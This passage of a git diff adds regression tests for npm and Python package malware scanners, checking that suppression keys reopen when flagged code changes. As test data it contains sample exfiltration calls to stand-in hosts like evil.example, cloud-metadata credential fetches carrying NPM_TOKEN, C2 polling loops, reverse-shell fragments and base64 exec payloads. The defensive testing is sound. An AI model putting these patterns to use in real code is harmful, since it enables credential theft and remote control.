(always-bad) binds the outbound call context, so altering + # the exfil body on the same call reopens the key instead of riding the bare + # host literal. + host = snp.CRED_HOST_ALWAYS_BAD[0][0] + old = f"fetch('https://{host}/x', {{body: secretOLD}})\n" + new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "cred-surface-host (always-bad)" + ][0] + + assert key(old) != key(new) + + +def test_outbound_host_config_reindent_is_stable(): + # A formatter-only reindent of the bound continuation lines must NOT change + # the key (whitespace is normalized before the logical-line digest). + tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + loose = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose)) + + +def test_evidence_preserves_intra_string_whitespace(): + # Whitespace OUTSIDE string literals is normalized (reindent-stable), but + # whitespace INSIDE a literal is preserved, so a changed payload body + # (body: 'a b' -> 'a b') reopens the key instead of being erased along with + # indentation. + a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n" + assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b)) + + +def test_outbound_cred_surface_binds_context(): + # The outbound cred-surface host finding records the host WITH its URL path / + # fetch call, so changing the outbound path or headers reopens the key rather + # than riding the bare host literal. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n" + new = ( + "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', " + "{headers: steal})\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_load_baseline_skips_non_dict_entries(tmp_path): + # A malformed current-schema baseline (non-dict entries, or a non-object root) + # must not crash the loader; bad entries are skipped, valid ones still load. + bl = tmp_path / "bad.json" + bl.write_text( + json.dumps( + { + "version": snp._BASELINE_SCHEMA_VERSION, + "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}], + } + ), + encoding = "utf-8", + ) + keys = snp._load_baseline(str(bl)) + assert keys == {("p", "a.js", "x", snp._evidence_hash(""))} + # A non-object root is rejected with a warning, not a crash. + arr = tmp_path / "arr.json" + arr.write_text("[1, 2, 3]", encoding = "utf-8") + assert snp._load_baseline(str(arr)) == set() + + def test_legacy_schema_baseline_is_ignored(tmp_path): # A pre-v2 baseline stored basenames; its keys are ambiguous under # package-relative matching, so a populated legacy file is ignored (fail @@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path): assert snp._load_baseline(str(bl)) == set() +def test_v2_baseline_migrates_by_recomputing_hash(tmp_path): + # v2 shares v3's package-relative keying, so its entries migrate (the hash is + # recomputed from stored evidence) rather than being thrown away, matching the + # Python loader. An unchanged finding stays suppressed. + bl = tmp_path / "v2.json" + evidence = "fetch('http://ok')" + bl.write_text( + json.dumps( + { + "version": 2, + "entries": [ + { + "package": "left-pad", + "file": "package/dist/index.js", + "pattern": "obfuscated-blob", + "severity": snp.HIGH, + "evidence": evidence, + } + ], + } + ), + encoding = "utf-8", + ) + finding = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence + ) + assert snp._finding_key(finding) in snp._load_baseline(str(bl)) + + +def test_outbound_cred_surface_host_config_binds_full_context(): + # The host-config branch captures the whole line (path + headers), so changing + # the outbound headers/body on the same hostname line reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + path = "/latest/meta-data/iam/security-credentials/role-name" + old = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n" + ) + new = ( + "const opts = {hostname: '169.254.169.254', " + f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n" + ) + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + def test_committed_baseline_is_empty_and_valid(): # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean. path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json" diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py index 91331668d6..48e6da5f66 100644 --- a/tests/security/test_scan_packages.py +++ b/tests/security/test_scan_packages.py @@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live(): assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass") -def _mk(sev, pkg, fname, check): - return sp.Finding(sev, pkg, fname, check, "evidence") +def _mk( + sev, + pkg, + fname, + check, + evidence = "evidence", +): + return sp.Finding(sev, pkg, fname, check, evidence) def test_baseline_key_version_stable_but_path_specific(): a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X") b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X") - # Same package-relative path across versions -> same key (stable). + # Same package-relative path + same matched code across versions -> same key. assert sp._finding_key(a) == sp._finding_key(b) # Same basename in a different path -> different key (no over-suppression). c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X") assert sp._finding_key(a) != sp._finding_key(c) +def test_baseline_key_line_shift_stable_but_code_specific(): + # The evidence hash strips ``L:`` markers, so a benign upstream edit that + # only shifts line numbers keeps the key stable... + base = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies", + ) + shifted = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies", + ) + assert sp._finding_key(base) == sp._finding_key(shifted) + # ...but a NEW payload in the same file/check (different matched code) does + # not inherit the suppression -- this is the supply-chain bypass we close. + malicious = _mk( + sp.CRITICAL, + "botocore", + "botocore/utils.py", + "Harvests environment variables/secrets AND makes network calls", + "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)", + ) + assert sp._finding_key(base) != sp._finding_key(malicious) + + +def test_extract_evidence_records_all_matches(): + # The whole point of P1: a match appended after the first few must show up + # in the evidence, so it changes the key instead of riding the earlier ones. + src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count("requests.get(") == 6 + + +def test_baseline_key_reopens_on_appended_match(): + # A reviewed file already trips a check with several matches; a later exfil + # call appended to the same file/check must reopen the finding. + base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3)) + payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)" + base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK)) + payload = _mk( + sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK) + ) + assert sp._finding_key(base) != sp._finding_key(payload) + + +def test_baseline_key_inner_line_marker_is_not_stripped(): + # Only the leading L: marker is dropped; an L: inside the matched + # code is part of the code, so changing it must reopen the finding... + a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'") + b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'") + assert sp._finding_key(a) != sp._finding_key(b) + # ...while only the leading marker (line number) changing stays stable. + c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'") + assert sp._finding_key(a) == sp._finding_key(c) + + +def test_baseline_key_indentation_is_significant(): + # Moving a flagged line out of a guarded block (dedent) changes executable + # context, so the same code at a different indent must reopen the finding. + guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)") + assert sp._finding_key(guarded) != sp._finding_key(top_level) + + +def test_canon_evidence_keeps_bitwise_or_in_a_span(): + # ' | ' only delimits spans when it precedes an L: marker; a pipe inside + # matched code (bitwise OR, typing.Union) is code, so changing an operand + # must reopen the finding instead of deduping to the same key. + a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC") + b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL") + assert sp._finding_key(a) != sp._finding_key(b) + # The OR survives canonicalization as one span (not split on the pipe). + assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y" + + +def test_extract_evidence_caps_long_line_but_binds_tail(): + # A long (e.g. minified) line is not dumped verbatim: the display is bounded to + # a prefix, but a sha256 of the full line is appended so a payload past the cut + # still changes the key instead of being silently clipped. + marker = "EXFIL_PAST_CAP" + pad = "# " + " " * 300 + line = "requests.get('http://a') " + pad + marker + ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK) + assert marker not in ev # tail past the cap is not shown verbatim + assert "sha256:" in ev # but it is pinned by a digest + assert len(ev) < len(line) # bounded, not the whole minified line + base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK) + assert sp._evidence_hash(ev) != sp._evidence_hash(base) + + +def test_extract_evidence_binds_call_continuation_past_12_lines(): + # A matched call that stays open well beyond the old 12-line continuation cap + # still binds its later arguments: a changed body on a deep continuation line + # (here ~22 lines in) must reopen instead of riding the first 12 lines. + head = "requests.post('http://h',\n" + middle = "".join(f" opt{i} = ({i}),\n" for i in range(20)) + old = head + middle + " data = {'x': 'old'},\n)\n" + new = head + middle + " data = {'x': 'evil'},\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_follows_backslash_continuation(): + # A call split with an explicit backslash before the parenthesis must still + # bind the continuation line, so changing the URL on the next physical line + # reopens instead of returning at the zero-depth API line. + old = "requests.post \\\n ('http://old/x', data = 1)\n" + new = "requests.post \\\n ('http://evil/x', data = 1)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_logical_line_end_blanks_multiline_triple_string(): + # A ) inside a triple-quoted string argument must not close the call early; the + # data= after the closing triple-quote must still bind so a changed payload + # reopens (a per-line string blanker cannot mask a multi-line string). + old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n' + new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n' + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_binds_call_embedded_in_string(): + # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a + # setup.py payload) must still bind its argument lines. Blanking the multi-line + # string must not shrink the span below the legacy single-line view: the union + # of both views keeps the URL argument bound so a changed payload reopens. + src = ( + 'PAYLOAD = """\n' + "urllib.request.urlretrieve(\n" + ' "http://evil/old.pyz",\n' + ' "/tmp/x.pyz",\n' + ")\n" + '"""\n' + ) + eo = sp._extract_evidence(src, sp.RE_NETWORK) + en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK) + assert "L3" in eo # the URL argument line is bound, not just the API line + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_overflow_digest_is_line_shift_stable(): + # The overflow digest canonicalizes (strips L: markers), so inserting an + # unrelated line above the overflow region does not change it (line-shift + # stability), while a real payload change inside the overflow still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5)) + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + e_a = sp._extract_evidence(src, sp.RE_NETWORK) + assert "more) sha256:" in e_a + e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK) + assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest + e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens + + +def test_extract_evidence_overflow_is_streamed_and_bounded(): + # Past the display cap the evidence streams overflow spans into one digest + # instead of materializing a rendered span per match, so a file with far more + # matches than the cap yields a bounded string (at most cap spans plus the + # "(+N more)" digest line) while N counts every overflow match and a change to + # an over-cap match still reopens. + n = sp._MAX_EVIDENCE_SPANS + src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500)) + ev = sp._extract_evidence(src, sp.RE_NETWORK) + assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests + assert "(+500 more)" in ev # every match past the cap is counted + # bounded: exactly cap rendered spans plus the single "(+N more)" marker + assert len(ev.split(" | ")) == n + 1 + sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1) + chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK) + assert sha(ev) != sha(chg) # an over-cap payload change reopens + + +def test_extract_evidence_same_line_close_then_open_binds_call(): + # A continued statement that closes on the same physical line that opens a + # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket + # count, dropping the call's `(` so the scan would stop at the opener line. + # Order-aware counting keeps the opener, so the argument lines bind and a + # changed body on a continuation line reopens. + old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n" + new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_backslash_continued_string_binds_tail(): + # A single-quoted string can continue across lines with a trailing backslash. + # The `)` inside that continued string on the next line must not be counted as + # code and close the call early, or a changed argument after it would not + # reopen. The blanker tracks the continuation so the whole call binds. + old = "requests.post('http://h\\\n/path)', data='old')\n" + new = "requests.post('http://h\\\n/path)', data='EVIL')\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_long_call_tail_past_soft_cap_reopens(): + # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still + # followed to its real close under the hard limit, so a changed payload on a + # continuation line well past the soft cap reopens instead of riding the first + # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap. + mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20)) + old = "requests.post(\n" + mid + "\n data='old',\n)\n" + new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n" + assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash( + sp._extract_evidence(new, sp.RE_NETWORK) + ) + + +def test_extract_evidence_fallback_line_numbers_are_correct(): + # The DOTALL fallback maps match offsets to line numbers via precomputed + # newline offsets (bisect, not a quadratic content.count per match); guard that + # the mapping is exact so a cross-line match is recorded at its true line and a + # changed continuation reopens. + content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n" + e1 = sp._extract_evidence(content, sp.RE_C2_POLLING) + e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING) + assert "L3" in e1 # the while-True loop starts on line 3, not line 1 + assert sp._evidence_hash(e1) != sp._evidence_hash(e2) + + +def test_large_js_bundle_pins_whole_content_when_other_finding_fires(): + # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds + # the whole bundle, so changing payload code elsewhere (obfuscation line + # unchanged) reopens rather than riding the matched signature line. + obf = "var _0xabcd = function(){};\n" + pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar + fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg") + fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg") + co = [f for f in fo if "hex-var obfuscation" in f.check][0] + cn = [f for f in fn if "hex-var obfuscation" in f.check][0] + assert "bundle-sha256:" in co.evidence + assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence) + + +def test_pth_catch_all_import_evidence_is_bounded_but_reopens(): + # A large .pth made only of benign-looking imports is bounded in the evidence + # (prefix plus digest), not dumped in full, yet still reopens when an import + # line changes because the digest covers every line. + base = "".join(f"import mod{i}\n" for i in range(200)) + fo = [ + f + for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + fn = [ + f + for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p") + if "executable import line" in f.check + ] + assert fo and fn + assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base) + assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence) + + +def test_extract_evidence_records_all_multiline_matches(): + # The DOTALL fallback must record every distinct cross-line match, so a second + # long-sleep appended below an already-flagged one reopens the finding. + one = "foo = time.sleep(\n 600\n)\n" + two = one + "bar = time.sleep(\n 900\n)\n" + ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS) + ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS) + assert ev2.count("time.sleep(") == 2 # both matches, not just the first + assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2) + + +def test_multiline_evidence_reopens_on_continuation_change(): + # A DOTALL match records every line it spans, so changing the URL inside an + # already-flagged C2 loop (a continuation line) reopens the finding... + old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n" + new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n" + fo = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(old, sp.RE_C2_POLLING), + ) + fn = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence(new, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) != sp._finding_key(fn) + # ...while a benign line shift of the same loop stays stable. + shifted = _mk( + sp.CRITICAL, + "p", + "p/loop.py", + "C2 polling/beaconing loop detected", + sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING), + ) + assert sp._finding_key(fo) == sp._finding_key(shifted) + + +def test_extract_evidence_bounds_pathological_multiline_span(): + # A greedy DOTALL span is capped to its head line plus a digest of the rest, + # so evidence stays bounded while still binding the full match. + big = "vmware\n" + "x\n" * 50 + "detect\n" + ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS) + assert "sha256:" in ev and ev.count("\n") <= 1 + + +def test_canon_evidence_keeps_duplicate_spans(): + # A second identical matched line in a new code path must change the key, so + # an appended duplicate payload occurrence is not deduped to the same hash. + one = " requests.post(url, data=env)" + base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}") + dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}") + assert sp._finding_key(base) != sp._finding_key(dup) + + +def test_canon_evidence_does_not_strip_inner_marker_from_raw_code(): + # Raw .pth evidence has no leading L: marker; an L:-looking substring + # inside the code must be kept, so changing the code before it reopens. + base = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import os; note='L7: same_suffix'", + ) + changed = _mk( + sp.HIGH, + "p", + "p/x.pth", + ".pth has 1 executable import line(s)", + "import urllib.request; note='L7: same_suffix'", + ) + assert sp._finding_key(base) != sp._finding_key(changed) + + +def test_capped_multiline_digest_is_line_shift_stable(): + # A span over the cap is digested from markerless code, so a pure line shift + # of the same span stays stable while a code change still reopens. + src = ( + "while True:\n" + + " x = 1\n" * 20 + + " time.sleep(60)\n requests.get('http://old.example/poll')\n" + ) + e1 = sp._extract_evidence(src, sp.RE_C2_POLLING) + e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING) + assert "sha256:" in e1 # span exceeded the cap + assert sp._evidence_hash(e1) == sp._evidence_hash(e2) + changed = src.replace("http://old.example/poll", "http://evil.example/c2") + assert sp._evidence_hash(e1) != sp._evidence_hash( + sp._extract_evidence(changed, sp.RE_C2_POLLING) + ) + + +def test_canon_evidence_strips_punctuation_label_marker(): + # A label with punctuation (network+exec:) must still be stripped, so the + # line number alone does not change the key. + a = "network+exec: L12: subprocess.run(['id'])" + b = "network+exec: L99: subprocess.run(['id'])" + assert sp._evidence_hash(a) == sp._evidence_hash(b) + + +def test_extract_evidence_binds_call_continuation_lines(): + # A multi-line network call binds its argument lines, so a changed URL on a + # continuation line reopens even though the line with the API name is unchanged. + old = "requests.post(\n 'http://old.example',\n data=env,\n)\n" + new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "old.example" in eo and "evil.example" in en + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_extract_evidence_records_multiline_after_oneline(): + # A one-line C2 match no longer suppresses a later multi-line C2 loop: the + # appended cross-line construct is recorded too, so it cannot ride the key. + oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n" + appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING) + ea = sp._extract_evidence(appended, sp.RE_C2_POLLING) + assert "evil" in ea + assert sp._evidence_hash(eo) != sp._evidence_hash(ea) + + +def test_extract_evidence_giant_span_binds_full_interior(): + # A giant greedy DOTALL span bridging anchors across the whole file is bound by + # a digest of its full content (not just the outer anchors), so a cross-line + # payload inserted into the bridged interior between unchanged outer anchors + # reopens instead of riding the key. (Binding only head/tail would fail open on + # an interior insertion.) A pure line shift still stays stable. + gap = "\n".join(f" x = {i}" for i in range(70)) + base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n" + # interior insertion of a cross-line payload between the unchanged outer anchors + injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)") + ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL) + ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL) + assert "sha256:" in ea # full interior bound by a digest + assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens + shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL) + assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable + + +def test_extract_evidence_giant_span_appended_payload_reopens(): + # The anchor binding must reopen when an appended cross-line payload extends the + # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a + # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no + # single line so the per-line pass never binds them) moves the span's tail + # anchor, so the evidence changes instead of riding the unchanged key. + existing = "import os\n/tmp/x; subprocess.run(['id'])\n" + gap = "\n".join(f" pad{i} = {i}" for i in range(65)) + appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n" + base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC) + app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(base) != sp._evidence_hash(app) + # a pure line shift of the same payload does not reopen + shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC) + assert sp._evidence_hash(app) == sp._evidence_hash(shifted) + + +def test_hidden_payload_binds_visible_exec_trigger(): + # The hidden-payload finding binds the visible exec/eval line that makes the + # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which + # now runs the same hidden network+exec payload) reopens instead of riding the + # key on the unchanged hidden text. + hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n' + benign = hidden + 'eval("1+1")\n' + armed = hidden + "exec(__doc__)\n" + + def key(src): + return [ + sp._finding_key(f) + for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p") + if "hidden network+exec" in f.check + ][0] + + assert key(benign) != key(armed) + + +def test_js_finding_pins_full_content_digest(): + # A JS finding pins the full file content digest, so a backtick template literal + # that closes the bracket span early cannot let later option/body lines change + # without reopening (the Python-string-aware extractor would otherwise omit + # them). Holds for small files too, not just large bundles. + old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n" + new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n" + fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0] + fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0] + assert "bundle-sha256:" in fo.evidence + assert sp._finding_key(fo) != sp._finding_key(fn) + + +def test_extract_evidence_binds_moderate_appended_dotall_span(): + # A multi-line construct appended under a check that already has a one-line + # match is still recorded when it is not a giant whole-file bridge, so its + # payload reopens instead of riding the old one-line match. + one = "while True: time.sleep(60); requests.get('http://a/poll')\n" + gap = "\n".join(f" x = {i}" for i in range(20)) + old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n" + new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n" + eo = sp._extract_evidence(old, sp.RE_C2_POLLING) + en = sp._extract_evidence(new, sp.RE_C2_POLLING) + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_canon_evidence_reorder_reopens(): + # Reordering matched lines changes executable context, so the key reopens + # (the canon preserves discovery order rather than sorting). + a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()" + b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)" + assert sp._evidence_hash(a) != sp._evidence_hash(b) + + +def test_logical_line_end_ignores_brackets_in_strings(): + # A ) inside a string argument must not close the call early, so later + # argument lines still bind and a changed payload there reopens. + old = "requests.post('http://h/p)',\n data=secret_old,\n)\n" + new = "requests.post('http://h/p)',\n data=secret_new,\n)\n" + eo = sp._extract_evidence(old, sp.RE_NETWORK) + en = sp._extract_evidence(new, sp.RE_NETWORK) + assert "data=secret_old" in eo + assert sp._evidence_hash(eo) != sp._evidence_hash(en) + + +def test_base64_exec_blob_finding_binds_every_blob(): + # The base64+exec+blob finding digests every blob, so appending a second + # encoded payload reopens even when the first blob and decode line are unchanged. + head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n" + old = head + new = head + "blob2 = '" + "B" * 220 + "'\n" + fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check] + fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_large_blob_finding_binds_every_blob(): + # The .pth large-blob finding digests every blob, so appending a second + # encoded payload reopens rather than riding the unchanged first blob. + old = "import os\n" + "X" * 220 + "\n" + new = old + "Y" * 220 + "\n" + fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check] + fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check] + assert fo and fn + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_pth_unusually_large_finding_is_content_bound(): + # Two different payloads of equal size and import count must get different + # keys: the finding now pins the .pth content via a digest. + a = [ + f + for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + b = [ + f + for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p") + if f.check.startswith("Unusually large executable .pth") + ] + assert a and b + assert "sha256:" in a[0].evidence + assert sp._finding_key(a[0]) != sp._finding_key(b[0]) + + +def test_js_token_network_finding_binds_network_evidence(): + # The JS stealer combo records both the token AND the network call, so a + # changed exfil endpoint reopens (RE_NETWORK-recognized call used here). + old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n" + new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n" + fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check] + fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check] + assert fo and fn + assert "Network:" in fo[0].evidence + assert sp._finding_key(fo[0]) != sp._finding_key(fn[0]) + + +def test_embedded_pem_key_body_change_reopens(): + # The embedded-key evidence pins the full PEM block via a digest, so swapping + # the key body under the same BEGIN/END markers reopens the finding instead + # of riding the unchanged marker line. + head = "-----BEGIN RSA PRIVATE KEY-----\n" + tail = "\n-----END RSA PRIVATE KEY-----" + net = "\nrequests.get('http://c2.example')\n" + old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}" + new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}" + fo = [ + f + for f in sp.check_py_file(old, "p/k.py", "p") + if 